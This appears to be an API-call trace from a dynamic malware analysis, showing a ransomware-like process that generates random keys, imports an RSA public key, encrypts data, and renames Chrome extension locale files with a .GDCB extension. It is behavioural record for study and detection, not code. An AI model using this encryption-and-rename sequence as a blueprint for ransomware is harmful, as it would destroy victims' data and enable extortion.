[0272.318] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799fa0) returned 1 [0272.318] CryptGetKeyParam (in: hKey=0x6799fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.318] CryptEncrypt (in: hKey=0x6799fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.318] GetLastError () returned 0x0 [0272.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.319] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.322] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.324] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x177, lpOverlapped=0x0) returned 1 [0272.332] VirtualAlloc (lpAddress=0x0, dwSize=0x180, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.338] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.gdcb")) returned 1 [0272.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.347] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.349] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.349] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.349] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.349] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.353] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.353] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.353] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.356] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799de0) returned 1 [0272.356] CryptGetKeyParam (in: hKey=0x6799de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.356] CryptEncrypt (in: hKey=0x6799de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.356] GetLastError () returned 0x0 [0272.356] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.356] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0272.358] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799e20) returned 1 [0272.358] CryptGetKeyParam (in: hKey=0x6799e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.358] CryptEncrypt (in: hKey=0x6799e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.358] GetLastError () returned 0x0 [0272.358] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.359] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.364] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0272.372] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.379] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.gdcb")) returned 1 [0272.384] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.388] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.389] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.393] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.393] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.396] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799c60) returned 1 [0272.396] CryptGetKeyParam (in: hKey=0x6799c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.396] CryptEncrypt (in: hKey=0x6799c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.396] GetLastError () returned 0x0 [0272.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.396] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.398] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799e60) returned 1 [0272.398] CryptGetKeyParam (in: hKey=0x6799e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.398] CryptEncrypt (in: hKey=0x6799e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.398] GetLastError () returned 0x0 [0272.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.398] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.399] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.402] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.404] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb0, lpOverlapped=0x0) returned 1 [0272.412] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.424] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0272.429] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.434] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.434] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.434] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.437] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.439] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.439] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.439] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.441] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799960) returned 1 [0272.441] CryptGetKeyParam (in: hKey=0x6799960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.441] CryptEncrypt (in: hKey=0x6799960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.441] GetLastError () returned 0x0 [0272.441] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.442] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0272.443] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799a60) returned 1 [0272.443] CryptGetKeyParam (in: hKey=0x6799a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.443] CryptEncrypt (in: hKey=0x6799a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.444] GetLastError () returned 0x0 [0272.444] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.444] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.445] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.447] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.449] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0272.458] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.464] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json.gdcb")) returned 1 [0272.501] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.507] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.507] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.507] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.511] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.511] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.511] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.513] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799aa0) returned 1 [0272.513] CryptGetKeyParam (in: hKey=0x6799aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.513] CryptEncrypt (in: hKey=0x6799aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.514] GetLastError () returned 0x0 [0272.514] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.514] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.517] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ca0) returned 1 [0272.517] CryptGetKeyParam (in: hKey=0x6799ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.517] CryptEncrypt (in: hKey=0x6799ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.517] GetLastError () returned 0x0 [0272.517] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.517] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.518] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.521] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.523] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xaa, lpOverlapped=0x0) returned 1 [0272.532] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.539] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0272.545] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.547] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.550] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.550] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.550] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0272.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.554] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.554] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.555] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.557] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ae0) returned 1 [0272.557] CryptGetKeyParam (in: hKey=0x6799ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.557] CryptEncrypt (in: hKey=0x6799ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.557] GetLastError () returned 0x0 [0272.557] CryptReleaseContext 